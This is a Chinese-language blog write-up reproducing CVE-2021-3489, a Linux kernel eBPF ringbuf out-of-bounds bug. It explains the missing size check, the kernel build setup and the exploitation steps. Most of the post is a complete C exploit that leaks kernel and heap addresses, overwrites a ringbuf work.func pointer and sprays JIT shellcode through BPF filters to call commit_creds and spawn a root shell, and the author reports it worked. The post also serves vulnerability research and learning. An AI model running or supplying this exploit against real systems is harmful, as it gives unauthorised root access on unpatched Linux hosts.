CVE-2021-3489


漏洞分析

对比Linux v5.10和v5.13的源码可以发现,v5.13多了一个关于len和

rb->mask+1的比较判断:

先看第一个宏:RINGBUF_MAX_RECORD_SZ:

其实际值就是0xffff_ffff / 4 = 0x3fff_ffff;

然后关于round_up:

size+BPF_RINGBUF_HDR_SZ相当于一个chunk的真实大小,__round_mask相当于返回了一个u64 的7(00000000_…_00000111b),所以round_up(x, y)的左移就是x关于y对齐,向上取整;

回到源码中就是将一个chunk的真实size关于8对齐向上取整;

复现环境

defconfig

menuconfig设置slab:

CONFIG_BPF_SYSCALL=y
CONFIG_BPFILTER=y
CONFIG_NET_CLS_BPF=y
CONFIG_NET_ACT_BPF=y
CONFIG_BPF_JIT=y
CONFIG_TEST_BPF=y

CONFIG_DEBUG_INFO #调试符号
CONFIG_USER_NS=y #支持新的namespace

root权限编译:

make CFLAGS_KERNEL=”-g” CFLAGS_MODULE=”-g” -j4

漏洞利用

越界原理

在用户态改写consumer_pos为一个很大的数,然后分配一个比它稍微小一点的chunk,就可以在这个很大的chunk中实现越界写了:

分配两个0x1000的ringbuf

两者相距:

这里遇到问题,0x4000+0x1000就无法成功加载prog;0x4000+0x4000直接无法创建成功;

LEAK

首先利用OOB-read泄露kernel地址和堆地址,同时可以看到ringbuf中其实是存放着ringbuf相关的地址的:

劫持控制流

利用OOB-write写下一个ringbuf的work.func,偏移是0x3000-8+0x28;

poc现场如下:

发现rsp是固定的;rbx rdi rdx都是ringbuf附近的内容,我们可以继续利用OOB-write在这里部署1个栈迁移ROP,然后寻找一个JOP劫持控制流过去即可;

后续攻击思路

方法1:仿照CVE-2024-41009的方法,喷射eBPF部署shellcode;(这个方法肯定能成功,但是不想试了~)

方法2:寻找一个跳板JOP进行栈迁移;(没找到)

方法3:在rdi指向的空间内伪造init_cred,然后直接劫持控制流到commit_creds,由于这个函数表的劫持之后是可以稳定返回用户态的,所以我们可以直接在用户态system(“/bin/sh”)提权。(有个字段冲突了)

调试

gdb -ex “target remote localhost:1234” -ex “file /mnt/hgfs/kernel/3489/vmlinux” -ex “c”

在bpf_ringbuf_area_alloc函数下断点;

攻击成功

使用方法1攻击成功:

EXP

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t page_offset_base;
int map_fd, expmap_fd;

#include <linux/bpf.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include "bpf_insn.h"

static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>

void err_exit(char *s){
perror(s);
exit(-1);
}


#define VULREG \
BPF_LD_MAP_FD(BPF_REG_1, 3), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),\
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),\
BPF_MOV64_IMM(BPF_REG_6, 100),\
BPF_MOV64_IMM(BPF_REG_9, 0x80000000),\
BPF_ALU64_IMM(BPF_XOR, BPF_REG_6, 0),\
BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_9, 2),\
BPF_ALU64_IMM(BPF_XOR, BPF_REG_6, 100),\
BPF_MOV64_IMM(BPF_REG_9, 0),\
BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_9, 1),\
BPF_MOV64_IMM(BPF_REG_6, 0), \
BPF_MOV64_IMM(BPF_REG_3, 0),\
BPF_ALU64_IMM(BPF_XOR, BPF_REG_3, 0),\
BPF_JMP_IMM(BPF_JLE, BPF_REG_3, 2, 2),\
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_EXIT_INSN(),\
BPF_ALU64_REG(BPF_SUB, BPF_REG_2, BPF_REG_6),






//最终得到reg6实际为2,确信为0,前提是map_fd传递value[0] = 1, value[1] = 0,此时reg7指向map_fd的array

#define BPF_FUNC_dynptr_from_mem 0xc5
#define BPF_FUNC_dynptr_read 0xc9
#define BPF_FUNC_dynptr_write 0xca
#define BPF_FUNC_dynptr_data 0xcb

#define BPF_FUNC_ringbuf_reserve 0x83
#define BPF_FUNC_ringbuf_submit 0x84

struct bpf_insn prog1[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1), //ctx

BPF_LD_MAP_FD(BPF_REG_1, 3),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

BPF_LD_MAP_FD(BPF_REG_1, 4), //ringbuf_mapfd
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),

BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), //map_ptr
BPF_MOV64_IMM(BPF_REG_2, 0x1000000), //size=0x1000000,越界分配
BPF_MOV64_IMM(BPF_REG_3, 0), //flags=0
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x83),//BPF_FUNC_ringbuf_reserve

BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),

BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x3030),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), //泄露heap地址
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0),

BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x3020),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), //泄露kernel地址
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 8),

BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x3008),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), //泄露ringbuf地址
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 16),





//0xffffffffc033006b
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 24),

BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x3000-8+0x28),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0),




BPF_LD_MAP_FD(BPF_REG_1, 5), //next ringbuf_mapfd
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),

BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), //map_ptr
BPF_MOV64_IMM(BPF_REG_2, 0x200), //size
BPF_MOV64_IMM(BPF_REG_3, 0), //flags=0
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x83),//BPF_FUNC_ringbuf_reserve

BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_JMP_IMM(BPF_JMP, BPF_REG_0, 0, 3),

BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 2),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x84),//BPF_FUNC_user_ringbuf_submit


BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
BPF_MOV64_IMM(BPF_REG_2, 2),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x84),//BPF_FUNC_user_ringbuf_submit





BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};


#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
int load_prog(struct bpf_insn prog[], int cnt){

int prog_fd;
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) prog,
.insn_cnt = cnt,
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};
prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) {
puts(bpf_log_buf);
perror("BPF_PROG_LOAD");
return -1;
}
//puts(bpf_log_buf);
printf("prog_fd == %d\n", prog_fd);

return prog_fd;


}

void trigger_prog(int prog_fd){
int sockets[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()");

if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF");
char s[0x1000];
int wl = write(sockets[0], s, 0x100);
//printf("wl == %d\n", wl);
}





static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_get_elem(int map_fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};

// 使用 BPF_MAP_LOOKUP_ELEM 获取 map 中的元素
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,

};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

size_t ker_offset;


int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
// .map_flags = BPF_F_MMAPABLE,
.inner_map_fd = fd,
};

int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}

size_t ker_offset;
size_t page_offset_base;

#include <linux/filter.h>
#include <linux/seccomp.h>
char buf[0x1000];
struct sock_filter filter[0x1000];
const int DRR_CLASS_SPRAY_THREADS = 0x100;

int sc(void)
{
int cmd[2], reply[2], endp[2];
if(pipe(cmd) < 0){
perror("pipe cmd");
}
if(pipe(reply) < 0){
perror("pipe reply");
}
if(pipe(endp) < 0){
perror("pipe endp");
}

struct sock_filter filter[0x1000] ;
/*= {
// Allow `write` syscall

{.code = BPF_LD + BPF_K, .k = 0XB3909090},
{.code = BPF_RET | BPF_K, .k = SECCOMP_RET_ALLOW}

};*/
for(int i = 0; i < 0x1000; i++) filter[i].code = BPF_LD + BPF_K, filter[i].k = 0XB3909090;
filter[0xfff].code = BPF_RET | BPF_K, filter[0xfff].k = SECCOMP_RET_ALLOW;
int k = 0xf00;
/*
init_cred = entry_SYSCALL_64 + 0xa505c0
commit_creds = entry_SYSCALL_64 - 0xd63f90
*/
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390c0b1; //mov cl, 0xc0
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB318e1c1; //shl ecx, 24
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39082b1; //mov cl, 0x82
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390320f; //rdsmr
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c93148; //xor rcx, rcx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39020b1; //mov cl, 0x20
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3e2d348; //shl rdx, cl
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c20148; //add rdx, rax ; rdx = entry_SYSCALL_64

filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c93148; //xor rcx, rcx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39084b1; //mov cl, 0x84
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; //shl ecx, 8
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390c7b1; //mov cl, 0xc7
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; //shl ecx, 8
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39000b1; //mov cl, 0x00 ; ecx = 0x84c700
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3d08949; // mov r8, rdx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c80149; // add r8, rcx ; rcx = &init_cred

filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c93148; //xor rcx, rcx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390b7b1; //mov cl, 0xb7
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; //shl ecx, 8
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39022b1; //mov cl, 0x22
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; //shl ecx, 8
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39040b1; //mov cl, 0x40 ; ecx = 0xb72240
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3d18949; // mov r9, rdx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c92949; //sub r9, rcx ; r9 = commit_creds

filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c7894c; //mov rdi, r8
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c35141; //push r9;ret;

filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c3c3c3; //ret

filter[0].code = BPF_RET | BPF_K, filter[0].k = SECCOMP_RET_ALLOW;






struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = (struct sock_filter*)filter,
};
int fd[2];
for(int i = 0; i < 0x50; i++){
if(!fork()){
read(cmd[0], buf, 1);
for(int j = 0; j < 0x10; j++){
socketpair(AF_UNIX, SOCK_DGRAM, 0, fd);
setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog));
}
write(reply[1], buf, 1);
write(fd[1], buf, 0x100);
sleep(1000);
read(endp[0], buf, 1);
exit(0);
}
}
write(cmd[1], buf, 0x50);
read(reply[0], buf, 0x50);

puts("spray shellcode done");
getchar();

}


int main(){

save_status();
bindCore(0);

map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");
//printf("map_fd == %d\n", map_fd);

expmap_fd = bpf_map_create(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x1000);
if (expmap_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");
printf("ringbuf_map_fd == %d\n", expmap_fd);

size_t key = 0;
size_t value[0x1000];

size_t *cons = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, expmap_fd, 0);
cons[0] = 0x1000000;


bpf_map_create(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x1000);

value[3] = 0xffffffffc033006b;
bpf_map_update_elem(map_fd, &key, value, BPF_ANY);

if(!fork()){
while(1){
sc();
}
}
sleep(2);

trigger_prog(load_prog(&prog1, sizeof(prog1)/sizeof(prog1[0])));


bpf_map_get_elem(3, &key, value);
printf("leak : %p\n", (void *)value[0]);
printf("leak : %p\n", (void *)value[1]);

ker_offset = value[1] - 0xffffffff8117da50;
page_offset_base = value[0] & 0xfffffffff0000000;
size_t ringbuf = value[2];

printf("ker_offset == %p\n", (void *)ker_offset);
printf("page_offset_base == %p\n", (void *)page_offset_base);
printf("ringbuf == %p\n", (void *)ringbuf);

system("/bin/sh");

puts("end");
getchar();

return 0;






}



思考

关于verifier对ringbuf的越界检查的理解

在写exp的时候很好奇为什么我对ringbuf的越界访存不会被verifir阻止?

verifier在访存时只会将偏移和reserve得到的ringbuf空间的size进行比较,reserve之后一定会有一个判断消除OR_NULL,只有成功分支才会访存(即在verifier中的成功分支中才会是mem指针,失败分支就是const 0了),而既然reserve返回成功,verifier就会认为这个到了运行时一定会通过reserve相关函数的检查,也就不用关心是否超过了ringbuf_map的大小,只需要关心是否超过了chunk打小就行了。

总而言之,reserve的大小交给运行时,访存交给verifier,访存只会出现在reserve成功的分支中。

与CVE-2024-41009进行对比

由于笔者在之前复现了CVE-2024-41009这个漏洞,感觉这个就没什么新奇了,其区别在于,本漏洞可以一次性reserve空间远远超过ringbuf的空间,而patch之后就只能reserve之多ringbuf的空间-8了;

但是41009仍然可以利用有限的size使得两个chunk的区域存在重叠进行利用。

参考

https://www.venustech.com.cn/new_type/aqldfx/20220301/23500.html


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录